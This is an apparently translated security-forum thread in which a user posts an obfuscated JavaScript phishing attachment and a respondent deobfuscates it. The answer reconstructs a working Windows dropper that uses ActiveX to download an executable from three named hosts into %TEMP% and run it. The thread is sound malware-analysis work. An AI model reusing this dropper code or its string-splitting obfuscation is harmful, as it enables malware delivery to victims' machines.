Lechón de ataque de phishing de Javascript: ¿Debo preocuparme? [cerrado]

8

Por lo tanto, soy un idiota. Abrí un archivo de ataque de phishing javascript. Realmente, realmente agradecería alguna ayuda con la descodificación de Javascript para averiguar si estoy en problemas y de qué tipo.

Estoy en OS X 10.9.5. Abrí el archivo tanto con Safari como con Firefox antes de darme cuenta de lo que estaba haciendo (soy mayor y no muy brillante a veces, y acababa de hablar por teléfono con la compañía a la que los phishers se hacían pasar por alto). El nombre del archivo era "FedEx_000969418.doc.js".

¿Alguien sería lo suficientemente bueno para ayudarme a resolver esto? Realmente lo apreciaría, aprenderé de mi insensatez y trataré de ayudar a otros a evitar lo mismo.

Espero que sea específico de Windows ... el correo electrónico que lo acompaña no era muy sofisticado. Pero estoy listo para lo peor si hay un problema.

Intenté buscar en Google el título del archivo y los bits del código, sin suerte. También intenté desenfocar, y los analizadores no lo tomarán. Obviamente, soy un tonto, así que realmente podría usar la ayuda de cualquiera para analizar esto.

El JS es el siguiente (lo abrí con TextEdit y lo copié):

var stroke="5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";function do193() { return ',"h'; };  function do112() { return ') { '; };  function do127() { return 'r xa'; };  function do88() { return '= 0;'; };  function do97() { return 't("'; };  function do5() { return '(fr) '; };  function do158() { return ') { '; };  function do215() { return 'er) {'; };  function do126() { return ' va'; };  function do9() { return '"e'; };  function do225() { return '25'; };  function do55() { return 'ndE'; };  function do220() { return 'bre'; };  function do84() { return 'exe"'; };  function do65() { return 'St'; };  function do37() { return ' va'; };  function do165() { return '; x'; };  function do128() { return ' = n'; };  function do184() { return '.clo'; };  function do8() { return ' = '; };  function do129() { return 'ew Ac'; };  function do57() { return 'ro'; };  function do136() { return 'tream'; };  function do187() { return '; }; '; };  function do11() { return 'y.co'; };  function do162() { return '.posi'; };  function do28() { return '(v'; };  function do222() { return ' } }'; };  function do98() { return 'MSX'; };  function do167() { return 'aveTo'; };  function do21() { return 'ub.c'; };  function do182() { return '; }; '; };  function do106() { return 'tate'; };  function do94() { return 'tive'; };  function do197() { return ']+"/d'; };  function do58() { return 'nme'; };  function do122() { return 'tatu'; };  function do20() { return 'ingcl'; };  function do93() { return 'Ac'; };  function do14() { return 'a.net'; };  function do188() { return 'try'; };  function do177() { return '); } '; };  function do175() { return 'n(fn'; };  function do140() { return 'n(); '; };  function do() { return 'val'; };  function do72() { return 'Math'; };  function do33() { return 'gth;'; };  function do155() { return 'a.siz'; };  function do145() { return '; '; };  function do27() { return ' for '; };  function do168() { return 'File'; };  function do208() { return 'alse'; };  function do147() { return 'ite'; };  function do111() { return 'on('; };  function do109() { return 'func'; };  function do35() { return '+)'; };  function do130() { return 'tive'; };  function do133() { return 't("AD'; };  function do202() { return '"+fr'; };  function do152() { return '); '; };  function do81() { return '0000'; };  function do110() { return 'ti'; };  function do194() { return 'ttp:'; };  function do62() { return '"%TE'; };  function do120() { return '&&'; };  function do50() { return 'l");'; };  function do174() { return 'Ru'; };  function do16() { return 'dic'; };  function do156() { return 'e > 5'; };  function do19() { return 'restl'; };  function do149() { return 'espo'; };  function do3() { return 'on '; };  function do119() { return ' 4 '; };  function do213() { return 'cat'; };  function do212() { return '); } '; };  function do46() { return '"W'; };  function do115() { return 'read'; };  function do80() { return '()*1'; };  function do108() { return 'e = '; };  function do71() { return ')+'; };  function do151() { return 'dy'; };  function do10() { return 'tq'; };  function do124() { return ' 2'; };  function do164() { return 'n = 0'; };  function do36() { return ' {'; };  function do195() { return '//"+b'; };  function do91() { return '= ne'; };  function do49() { return 'el'; };  function do206() { return 'oke,'; };  function do232() { return '3);'; };  function do15() { return '.br '; };  function do7() { return 'ar b'; };  function do144() { return '= 1'; };  function do69() { return 'Cod'; };  function do132() { return 'jec'; };  function do229() { return '); '; };  function do70() { return 'e(92'; };  function do31() { return '0; i<'; };  function do90() { return 'xo '; };  function do96() { return 'jec'; };  function do150() { return 'nseBo'; };  function do30() { return 'i='; };  function do34() { return ' i+'; };  function do101() { return 'TP"'; };  function do42() { return 'ti'; };  function do59() { return 'ntS'; };  function do13() { return 'id'; };  function do74() { return 'ou'; };  function do40() { return 'new '; };  function do211() { return 'nd('; };  function do160() { return '1; '; };  function do66() { return 'ring'; };  function do77() { return 'th'; };  function do125() { return '00) {'; };  function do73() { return '.r'; };  function do179() { return 'tch'; };  function do117() { return 'ate '; };  function do76() { return 'Ma'; };  function do45() { return 't('; };  function do104() { return 'onr'; };  function do44() { return 'jec'; };  function do51() { return ' va'; };  function do205() { return 'tr'; };  function do113() { return 'if '; };  function do1() { return 'fun'; };  function do4() { return 'dl'; };  function do79() { return 'andom'; };  function do161() { return 'xa'; };  function do83() { return '0)+".'; };  function do219() { return ' 1) '; };  function do82() { return '000'; };  function do176() { return ',1,0'; };  function do137() { return '"); '; };  function do102() { return '); '; };  function do159() { return 'dn = '; };  function do163() { return 'tio'; };  function do24() { return 'it'; };  function do105() { return 'eadys'; };  function do170() { return 'n,2);'; };  function do107() { return 'chang'; };  function do92() { return 'w '; };  function do226() { return '1); '; };  function do135() { return '.S'; };  function do118() { return '=='; };  function do153() { return 'if'; };  function do199() { return 'nt.ph'; };  function do200() { return 'p?r'; };  function do75() { return 'nd('; };  function do41() { return 'Ac'; };  function do216() { return '}; '; };  function do22() { return 'om'; };  function do67() { return '.fro'; };  function do204() { return 'd="+s'; };  function do103() { return 'xo.'; };  function do221() { return 'ak;'; };  function do39() { return 'ws = '; };  function do217() { return 'if (d'; };  function do2() { return 'cti'; };  function do18() { return 'nsonw'; };  function do154() { return ' (x'; };  function do114() { return '(xo.'; };  function do218() { return 'n =='; };  function do134() { return 'ODB'; };  function do181() { return 'r) {}'; };  function do201() { return 'nd='; };  function do12() { return 'm a'; };  function do141() { return 'xa.'; };  function do68() { return 'mChar'; };  function do17() { return 'ki'; };  function do121() { return ' xo.s'; };  function do209() { return '); '; };  function do171() { return ' try '; };  var fcx = '';  function do228() { return '962'; };  function do61() { return 's('; };  function do231() { return '(974'; };  function do123() { return 's =='; };  function do89() { return ' var '; };  function do64() { return '%")+'; };  function do148() { return '(xo.R'; };  function do99() { return 'ML2.'; };  function do210() { return 'xo.se'; };  function do29() { return 'ar '; };  function do26() { return ' ");'; };  function do203() { return '+"&i'; };  function do48() { return 'pt.Sh'; };  function do189() { return ' { xo'; };  function do78() { return '.r'; };  function do56() { return 'nvi'; };  function do47() { return 'Scri'; };  function do230() { return 'dl'; };  function do100() { return 'XMLHT'; };  function do53() { return '= ws.'; };  function do143() { return 'e '; };  function do63() { return 'MP'; };  function do32() { return 'b.len'; };  function do190() { return '.op'; };  function do25() { return '("'; };  function do116() { return 'ySt'; };  function do227() { return 'dl(9'; };  function do178() { return 'ca'; };  function do172() { return '{ '; };  function do95() { return 'XOb'; };  function do6() { return '{ v'; };  function do52() { return 'r fn '; };  function do223() { return '; d'; };  function do87() { return 'n '; };  function do180() { return ' (e'; };  function do198() { return 'ocume'; };  function do185() { return 'se();'; };  function do139() { return 'pe'; };  function do85() { return '; va'; };  function do38() { return 'r '; };  function do191() { return 'en('; };  function rs() { return 'e'; };  function do186() { return ' }'; };  function do207() { return ' f'; };  function do192() { return '"GET"'; };  function do60() { return 'tring'; };  function do169() { return '(f'; };  function do214() { return 'ch ('; };  function do86() { return 'r d'; };  function do224() { return 'l(2'; };  function do23() { return '".spl'; };  function do173() { return 'ws.'; };  function do43() { return 'veXOb'; };  function do131() { return 'XOb'; };  function do157() { return '000'; };  function do54() { return 'Expa'; };  function do166() { return 'a.s'; };  function do183() { return 'xa'; };  function do196() { return '[i'; };  function do138() { return 'xa.o'; };  function do146() { return 'xa.wr'; };  function do142() { return 'typ'; }; for (var xyy=1; xyy<=232; xyy++) { fcx += this['do'+xyy](); } this[rs()+do()](fcx); 
    
pregunta DimLight 08.07.2015 - 01:57
fuente

1 respuesta

10

Tienes suerte: es específico de Windows. Primero, tomé el código y fui a jsbeautifier.org para embellecerlo:

var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110";

function do193() {
    return ',"h';
};

function do112() {
    return ') { ';
};

function do127() {
    return 'r xa';
};

function do88() {
    return '= 0;';
};

function do97() {
    return 't("';
};

function do5() {
    return '(fr) ';
};

function do158() {
    return ') { ';
};

function do215() {
    return 'er) {';
};

function do126() {
    return ' va';
};

function do9() {
    return '"e';
};

function do225() {
    return '25';
};

function do55() {
    return 'ndE';
};

function do220() {
    return 'bre';
};

function do84() {
    return 'exe"';
};

function do65() {
    return 'St';
};

function do37() {
    return ' va';
};

function do165() {
    return '; x';
};

function do128() {
    return ' = n';
};

function do184() {
    return '.clo';
};

function do8() {
    return ' = ';
};

function do129() {
    return 'ew Ac';
};

function do57() {
    return 'ro';
};

function do136() {
    return 'tream';
};

function do187() {
    return '; }; ';
};

function do11() {
    return 'y.co';
};

function do162() {
    return '.posi';
};

function do28() {
    return '(v';
};

function do222() {
    return ' } }';
};

function do98() {
    return 'MSX';
};

function do167() {
    return 'aveTo';
};

function do21() {
    return 'ub.c';
};

function do182() {
    return '; }; ';
};

function do106() {
    return 'tate';
};

function do94() {
    return 'tive';
};

function do197() {
    return ']+"/d';
};

function do58() {
    return 'nme';
};

function do122() {
    return 'tatu';
};

function do20() {
    return 'ingcl';
};

function do93() {
    return 'Ac';
};

function do14() {
    return 'a.net';
};

function do188() {
    return 'try';
};

function do177() {
    return '); } ';
};

function do175() {
    return 'n(fn';
};

function do140() {
    return 'n(); ';
};

function do() {
    return 'val';
};

function do72() {
    return 'Math';
};

function do33() {
    return 'gth;';
};

function do155() {
    return 'a.siz';
};

function do145() {
    return '; ';
};

function do27() {
    return ' for ';
};

function do168() {
    return 'File';
};

function do208() {
    return 'alse';
};

function do147() {
    return 'ite';
};

function do111() {
    return 'on(';
};

function do109() {
    return 'func';
};

function do35() {
    return '+)';
};

function do130() {
    return 'tive';
};

function do133() {
    return 't("AD';
};

function do202() {
    return '"+fr';
};

function do152() {
    return '); ';
};

function do81() {
    return '0000';
};

function do110() {
    return 'ti';
};

function do194() {
    return 'ttp:';
};

function do62() {
    return '"%TE';
};

function do120() {
    return '&&';
};

function do50() {
    return 'l");';
};

function do174() {
    return 'Ru';
};

function do16() {
    return 'dic';
};

function do156() {
    return 'e > 5';
};

function do19() {
    return 'restl';
};

function do149() {
    return 'espo';
};

function do3() {
    return 'on ';
};

function do119() {
    return ' 4 ';
};

function do213() {
    return 'cat';
};

function do212() {
    return '); } ';
};

function do46() {
    return '"W';
};

function do115() {
    return 'read';
};

function do80() {
    return '()*1';
};

function do108() {
    return 'e = ';
};

function do71() {
    return ')+';
};

function do151() {
    return 'dy';
};

function do10() {
    return 'tq';
};

function do124() {
    return ' 2';
};

function do164() {
    return 'n = 0';
};

function do36() {
    return ' {';
};

function do195() {
    return '//"+b';
};

function do91() {
    return '= ne';
};

function do49() {
    return 'el';
};

function do206() {
    return 'oke,';
};

function do232() {
    return '3);';
};

function do15() {
    return '.br ';
};

function do7() {
    return 'ar b';
};

function do144() {
    return '= 1';
};

function do69() {
    return 'Cod';
};

function do132() {
    return 'jec';
};

function do229() {
    return '); ';
};

function do70() {
    return 'e(92';
};

function do31() {
    return '0; i<';
};

function do90() {
    return 'xo ';
};

function do96() {
    return 'jec';
};

function do150() {
    return 'nseBo';
};

function do30() {
    return 'i=';
};

function do34() {
    return ' i+';
};

function do101() {
    return 'TP"';
};

function do42() {
    return 'ti';
};

function do59() {
    return 'ntS';
};

function do13() {
    return 'id';
};

function do74() {
    return 'ou';
};

function do40() {
    return 'new ';
};

function do211() {
    return 'nd(';
};

function do160() {
    return '1; ';
};

function do66() {
    return 'ring';
};

function do77() {
    return 'th';
};

function do125() {
    return '00) {';
};

function do73() {
    return '.r';
};

function do179() {
    return 'tch';
};

function do117() {
    return 'ate ';
};

function do76() {
    return 'Ma';
};

function do45() {
    return 't(';
};

function do104() {
    return 'onr';
};

function do44() {
    return 'jec';
};

function do51() {
    return ' va';
};

function do205() {
    return 'tr';
};

function do113() {
    return 'if ';
};

function do1() {
    return 'fun';
};

function do4() {
    return 'dl';
};

function do79() {
    return 'andom';
};

function do161() {
    return 'xa';
};

function do83() {
    return '0)+".';
};

function do219() {
    return ' 1) ';
};

function do82() {
    return '000';
};

function do176() {
    return ',1,0';
};

function do137() {
    return '"); ';
};

function do102() {
    return '); ';
};

function do159() {
    return 'dn = ';
};

function do163() {
    return 'tio';
};

function do24() {
    return 'it';
};

function do105() {
    return 'eadys';
};

function do170() {
    return 'n,2);';
};

function do107() {
    return 'chang';
};

function do92() {
    return 'w ';
};

function do226() {
    return '1); ';
};

function do135() {
    return '.S';
};

function do118() {
    return '==';
};

function do153() {
    return 'if';
};

function do199() {
    return 'nt.ph';
};

function do200() {
    return 'p?r';
};

function do75() {
    return 'nd(';
};

function do41() {
    return 'Ac';
};

function do216() {
    return '}; ';
};

function do22() {
    return 'om';
};

function do67() {
    return '.fro';
};

function do204() {
    return 'd="+s';
};

function do103() {
    return 'xo.';
};

function do221() {
    return 'ak;';
};

function do39() {
    return 'ws = ';
};

function do217() {
    return 'if (d';
};

function do2() {
    return 'cti';
};

function do18() {
    return 'nsonw';
};

function do154() {
    return ' (x';
};

function do114() {
    return '(xo.';
};

function do218() {
    return 'n ==';
};

function do134() {
    return 'ODB';
};

function do181() {
    return 'r) {}';
};

function do201() {
    return 'nd=';
};

function do12() {
    return 'm a';
};

function do141() {
    return 'xa.';
};

function do68() {
    return 'mChar';
};

function do17() {
    return 'ki';
};

function do121() {
    return ' xo.s';
};

function do209() {
    return '); ';
};

function do171() {
    return ' try ';
};
var fcx = '';

function do228() {
    return '962';
};

function do61() {
    return 's(';
};

function do231() {
    return '(974';
};

function do123() {
    return 's ==';
};

function do89() {
    return ' var ';
};

function do64() {
    return '%")+';
};

function do148() {
    return '(xo.R';
};

function do99() {
    return 'ML2.';
};

function do210() {
    return 'xo.se';
};

function do29() {
    return 'ar ';
};

function do26() {
    return ' ");';
};

function do203() {
    return '+"&i';
};

function do48() {
    return 'pt.Sh';
};

function do189() {
    return ' { xo';
};

function do78() {
    return '.r';
};

function do56() {
    return 'nvi';
};

function do47() {
    return 'Scri';
};

function do230() {
    return 'dl';
};

function do100() {
    return 'XMLHT';
};

function do53() {
    return '= ws.';
};

function do143() {
    return 'e ';
};

function do63() {
    return 'MP';
};

function do32() {
    return 'b.len';
};

function do190() {
    return '.op';
};

function do25() {
    return '("';
};

function do116() {
    return 'ySt';
};

function do227() {
    return 'dl(9';
};

function do178() {
    return 'ca';
};

function do172() {
    return '{ ';
};

function do95() {
    return 'XOb';
};

function do6() {
    return '{ v';
};

function do52() {
    return 'r fn ';
};

function do223() {
    return '; d';
};

function do87() {
    return 'n ';
};

function do180() {
    return ' (e';
};

function do198() {
    return 'ocume';
};

function do185() {
    return 'se();';
};

function do139() {
    return 'pe';
};

function do85() {
    return '; va';
};

function do38() {
    return 'r ';
};

function do191() {
    return 'en(';
};

function rs() {
    return 'e';
};

function do186() {
    return ' }';
};

function do207() {
    return ' f';
};

function do192() {
    return '"GET"';
};

function do60() {
    return 'tring';
};

function do169() {
    return '(f';
};

function do214() {
    return 'ch (';
};

function do86() {
    return 'r d';
};

function do224() {
    return 'l(2';
};

function do23() {
    return '".spl';
};

function do173() {
    return 'ws.';
};

function do43() {
    return 'veXOb';
};

function do131() {
    return 'XOb';
};

function do157() {
    return '000';
};

function do54() {
    return 'Expa';
};

function do166() {
    return 'a.s';
};

function do183() {
    return 'xa';
};

function do196() {
    return '[i';
};

function do138() {
    return 'xa.o';
};

function do146() {
    return 'xa.wr';
};

function do142() {
    return 'typ';
};
for (var xyy = 1; xyy <= 232; xyy++) {
    fcx += this 'do' + xyy;
}
thisrs() + do();

Whoa: está claro que el código está ensamblando un montón de fragmentos de texto devueltos por funciones numeradas. Algunos grep-fu, clasificación y más grep-fu, y todos los fragmentos de texto estaban ensamblados. Más embellecimiento, y:

function dl(fr) {
    var b = "etqy.com aida.net.br dickinsonwrestlingclub.com".split(" ");
    for (var i = 0; i < b.length; i++) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + ".exe";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState == 4 && xo.status == 200) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2);
                    try {
                        ws.Run(fn, 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
        };
        try {
            xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke, false);
            xo.send();
        } catch (er) {};
        if (dn == 1) break;
    }
};
dl(2251);
dl(9962);
dl(9743);

Sí: específico de Windows, y utiliza el diabólico activo X API para descargar y luego ejecutar un script para ingresar (o intentar) en su computadora.

Otra vez: eres bueno (y probablemente la mayoría de los usuarios de Windows tendrían que tener instalada suficiente protección contra virus para evitar daños).

    
respondido por el Daniel Griscom 08.07.2015 - 03:21
fuente

Lea otras preguntas en las etiquetas